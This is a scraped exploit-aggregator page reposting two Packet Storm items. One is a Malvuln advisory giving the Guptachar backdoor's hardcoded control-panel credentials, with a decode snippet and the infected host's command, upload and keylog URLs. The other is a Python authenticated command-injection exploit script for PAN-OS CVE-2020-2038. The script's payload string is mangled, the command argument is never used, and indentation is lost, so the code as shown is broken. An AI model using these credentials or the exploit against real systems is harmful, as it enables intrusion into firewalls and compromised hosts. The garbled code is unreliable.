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Exploit Collector
Backdoor.Win32.Guptachar.20 MVID-2022-0631 Insecure Credential Storage

https://3.bp.blogspot.com/-BKQJl1oXbqE/WWlvQjSZMJI/AAAAAAAAINE/UWb7sXt4uvssyXVrWpwrINbeIcIr93_vACLcBGAs/s1600/h33.png
Backdoor.Win32.Guptachar.20 malware suffers from an insecure credential storage vulnerability.

SHA-256 | e3369625a4e3f23a7d0dca07bf0660807db452941c0e93d8a5ede6f3641451dc

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Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/857999d2306f257b80d1b8f6a51ae8b0.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Guptachar.20
Vulnerability: Insecure Credential Storage
Description: The malware runs a web server on TCP port 2015 (default) and uses BASIC authentication. The credentials "hacker01:imchampgr8" get stored in a .NFO information file named "GPTCR.NFO" under Windows dir base64 encoded and hidden among many junk NULL bytes.
Family: Guptachar
Type: PE32
MD5: 857999d2306f257b80d1b8f6a51ae8b0
Vuln ID: MVID-2022-0631
Dropped files: GPTCR2.exe
Disclosure: 08/08/2022

Exploit/PoC:
import base64
base64.b64decode("aGFja2VyMDE6aW1jaGFtcGdyOA==")
b'hacker01:imchampgr8'

Web URLs available on the infected host.

http://192.168.18.125:2015/execute.html
http://192.168.18.125:2015/browse.html
http://192.168.18.125:2015/upload.html
http://192.168.18.125:2015/screenshot.html
http://192.168.18.125:2015/keylog.html
http://192.168.18.125:2015/display.html
http://192.168.18.125:2015/shutdown.html
http://192.168.18.125:2015/servopts.html
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com
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Exploit Collector
PAN-OS 10.0 Remote Code Execution

https://4.bp.blogspot.com/-f2P6cxL3l-g/WWlvB5J0BVI/AAAAAAAAIKc/5_BozSRH9sAdcCSQmN2ufmoLAOqLp1P9QCLcBGAs/s1600/h125.png
PAN-OS version 10.0 suffers from a remote code execution vulnerability.

SHA-256 | c1282cb5ecd90e16f595092c1707c237e44c6b5bd2c379fcb5da77524df6d2c8

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# Exploit Title: PAN-OS 10.0 - Remote Code Execution (RCE) (Authenticated)
# Date: 2022-08-13
# Exploit Author: UnD3sc0n0c1d0
# Software Link: https://security.paloaltonetworks.com/CVE-2020-2038
# Category: Web Application
# Version: <10.0.1,<9.1.4
# Tested on: PAN-OS 10.0 - Parrot OS
# CVE : CVE-2020-2038
#
# Description:
# An OS Command Injection vulnerability in the PAN-OS management interface that allows authenticated
# administrators to execute arbitrary OS commands with root privileges.
# More info: https://swarm.ptsecurity.com/swarm-of-palo-alto-pan-os-vulnerabilities/
# Credits: Mikhail Klyuchnikov and Nikita Abramov of Positive Technologies for discovering and reporting this issue.

#!/usr/bin/env python3

import requests
import urllib3
import sys
import getopt
import xmltodict

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def banner():
print('\n###########################################################################')
print('# Proof of Concept for CVE-2020-2038 #')
print('# Vulnerability discovered by Mikhail Klyuchnikov and Nikita Abramov of #')
print('# Positive Technologies #')
print('# https://swarm.ptsecurity.com/swarm-of-palo-alto-pan-os-vulnerabilities/ #')
print('# #')
print('# Exploit by: Juampa Rodríguez (@UnD3sc0n0c1d0) #')
print('###########################################################################')

def exploit(target,user,password,command):
apiparam = {'type': 'keygen', 'user': user, 'password': password}
apiresponse = requests.get(target+'api/', params=apiparam, verify=False)
xmlparse = xmltodict.parse(apiresponse.content)
apikey = xmlparse['response']['result']['key']
payload = '<cms-ping<host8.8.8.8<count1<pattern111'
parameters = {'cmd': payload, 'type': 'op', 'key': apikey}
response = requests.get(target+'api', params=parameters, verify=False)
print(response.text[50:-20])

def usage():
print('\nusage: CVE-2020-2038.py\n\n')
print('arguments:')
print(' -h show this help message and exit')
print(' -t target URL (ex: http://vulnerable.host/)')
print(' -u target administrator user')
print(' -p pasword of the defined user account')
print(' -c command you want to execute on the target\n')

def main(argv):
if len(sys.argv) < 9:
banner()
usage()
sys.exit()
try:
opts, args = getopt.getopt(argv,"ht:u:p:c:")
except getopt.GetoptError:
banner()
usage()
sys.exit()
for opt, arg in opts:
if opt == '-h':
usage()
sys.exit()
if opt == '-t':
target = arg
if opt == '-u':
user = arg
if opt == '-p':
password = arg
if opt == '-c':
command = arg
banner()
exploit(target,user,password,command)
sys.exit()

if __name__ == "__main__":
try:
main(sys.argv[1:])
except KeyboardInterrupt:
print('Interrupted by users...')
except:
sys.exit()

Source:packetstormsecurity.com
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